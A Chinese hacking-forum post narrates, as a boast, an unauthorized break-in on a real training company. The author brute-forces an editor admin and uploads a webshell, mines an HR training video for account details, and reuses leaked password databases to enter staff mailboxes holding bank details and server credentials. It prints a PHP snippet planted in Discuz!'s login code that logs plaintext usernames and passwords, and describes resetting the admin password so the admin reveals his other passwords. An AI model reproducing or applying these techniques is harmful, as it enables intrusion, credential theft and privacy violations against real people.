前段时间有个奇怪的培训机构过来我们学校要搞个什么信息安全比赛,问了绿盟的一个朋友,听都没听过有家这样的安全公司,于是我小小的调戏了一下,期间的故事是颠簸起伏,于是就有了这次YD的检测。本文只是讲解渗透思路和技巧,部分技术实现细节将略过,有兴趣可以自行搜索相关资料。非法入侵是违法行为,请勿以身试法。
0x00 踩点准备
先把他们公司的站点扔去查询,万网的虚拟主机,企业备案,然而建站时间差不多2年而已,至于网站上所说的什么九周年我就不知道是什么鬼了。企业备案查不到什么个人信息,社工可以暂时放一边,只能开始技术检测。
0x01 开始进攻
站点是使用ASP的,随便测试了下手注,发现并不成功,然后随便试了几个常见的后台路径,打开后台界面了,略高大上的后台。
加上login.asp就跳到了登陆界面,试了试弱口令还有万能密码登陆无果。
试着用wwwscan扫描站点,爆出了eWebEditor的路径。万网的虚拟主机都是IIS 7.5的,解析漏洞用不了,所以只能试试抓包上次或者修改样式表上传了。试着打开编辑器的后台,发现居然存在。
试了几个弱口令,登不上去,然后用BurpSuite跑弱口令字典(怎么用BurpSuite爆破密码请自行查找),爆破成功并且登陆了上去。修改样式表添加asp和asa类型,上传免杀大马(万网免杀一句话的)。
0x02 故事并没有结束,这才是YD的开始
但是目的不只是拿下webshell,用的是虚拟主机,没什么可以搞的了。正当我苦于寻找目标几天之后,他们公司的网站更新了,换成了Discuz! X3.2,并且改成CMS形式了,估计就是个新开的培训机构,来学校坑学生去报名学课程什么的,DZ这下子有得玩了,X3.2版本暂时没听说过有什么漏洞,现在就只能继续挖掘线索,准备搞下来了。
论坛好像还在调试,所以很多地方的样式表和菜单文字都没修改,帖子也不多,用户组也没几个,现在论坛的权限应该还很随意,逛论坛的时候无意中被我发现了一个名叫《公司OA使用培训视频》的帖子,是公司的HR录制的,注册会员就能阅读,在线观看了一次,受益匪浅。然后就开始了YD的社工过程,成功在视频中暂停下来很多关键线索。
首先从视频里成功暂停到了公司部分员工资料还有公司的结构。
然后HR去登陆自己的企业邮箱了,从这里可以得知邮箱账号还有邮箱密码的位数是十位。
然后HR去教大家绑定微信号,好了,这里看到他的QQ号码了。
紧接着他果然就去登陆QQ了,当他打开QQ,成功暂停到一个QQ号码,从头像发现,就是过来宣传的那个负责人(跟微信的头像一样,宣传的时候加上了),听闻是公司网络的工程师,看来他的QQ号码也有用,先存下来。
在他输入QQ号码的时候,又暂停到了两个QQ号码。
从他输入密码这里可以看出,QQ密码也是10位,这个HR很可能是只有一个常用密码,这都是对社工很有利的线索。
然后他打开了QQ邮箱,打开了自己邮箱的账号列表,这里一次过收获多个邮箱账号和QQ号码,他现在登录的是10位的新Q号,POP那个则是8位的,很可能就是自己私人用的了。
然后他回到了企业邮箱的微信绑定页面,输入了自己的那个私人的QQ号码,还有密码,同样是10位,这下子基本可以肯定他只有一个密码了。
然后他还去浏览了几下邮箱,再爆出了几个公司员工的邮箱还有联系方式,视频的最后还打开了开始菜单,爆出了电脑的用户名,电脑的这个用户名就是那个负责网络的老师的,好了,这下子线索齐全了,收集到足够的线索就可以开始查数据了。
把他的QQ号码拿去大数据查一下,查到了51CTO有数据,扔去解密之后,发现明文,成功登陆上了邮箱。然后在邮箱发现了如此厚礼,不仅公司账号密码,连自己银行卡什么的都有,他就这么自信自己的密码安全吗?
用公司的密码尝试了一下登陆DZ,还是登不上去,又陷入僵局了。找点闲事干舒缓一下情绪先。
0x03 柳暗花明又一村
在看朋友圈的时候去刷了刷那个老师的(来学校宣传的时候要我们加上的),一张截图让我眼前一亮。这不是MIUI的天气吗?
马上就想到去查小米裤子,用微信号和电脑的用户名作为关键字,果然找到了他的信息。用小米的密码成功登上QQ邮箱,拿到服务器资料。同时也用同一个密码,成功登陆了Discuz!。
0x04 半路变故服务器既然都搞下了那就撤退了,可当我过几天之后重新再去登陆,发现邮箱和论坛的密码都不对了!难道是被发现了,又或者说这个老师有几套密码,在论坛测试期过后改回另一个了?可是解释不通为什么邮箱登不上,试着用万网的数据库管理工具,数据库密码没改,查询到了MD5值,扔去CMD5解密了几天,密码破解失败了。想搞到密码就得来点YD点的手段了,密文解不了,我就直接来明文!
众所周知,Discuz!的各个模块都是通过require包含Source的Code文件来实现各种功能的。对Disucz!登陆模块抓包进行了分析,发现登陆的时候,账号密码都是明文提交的。
对member.php文件进行了代码分析,然后跟踪到了class_core.php、function_member.php、member_logging.php、class_member.php几个文件中。对Discuz!那丧心病狂的函数定义纠缠了一段时间之后,代码应该要在class_member.php中登陆验证过程中插入。代码作用就是将截取到的用户名和密码写入到/data/log/login.txt文件中,并且将用户名和密码格式化排列好。代码如下:
Default
$loguser=$_GET['username']; $logpwd=$_GET['password']; $loginfo=$loguser.':'.$logpwd.'------'; $fpass = fopen('data/log/login.txt','a'); fwrite($fpass,$loginfo); fclose($fpass);
接下来要做的事情就是比谁更有耐心了。大概过了三天左右的时间,管理登陆了,并且密码记录在文档里面了。成功!懒得打码了,直接模糊掉上图,看看数量还是很可观的。
用新密码重新登陆了邮箱,发现了阿里云的工单,原来是网站被挂黑链了,于是老师改掉了密码,现在得知的这个密码强度挺高,估计是他的常用密码之一,然后一个更加YD的念头又出来了。刚刚看密码记录文件的时候,发现有一些这样的记录,同一个账号,用多个密码试着登陆,论坛新成立没多久,排除掉有黑阔撞库的可能性,那另一种可能,就是这个人忘了密码,把自己常用的密码都试了一遍。然而这种方法,在管理员身上,同样适用!
我进数据库直接改掉了管理员的密码,然后继续等待鱼儿上钩,再过了几天时间,打开记录文件一看。果然上钩了,几套密码全部齐全了。
0x05 总结
渗透、社工有基础固然重要,但是思路却往往比基础更重要,怎样灵活利用手上可以得到的信息,想到更深入的层次里面去,往往能让你在渗透作战中快人一步。
[via@ 习科论坛bobylive ]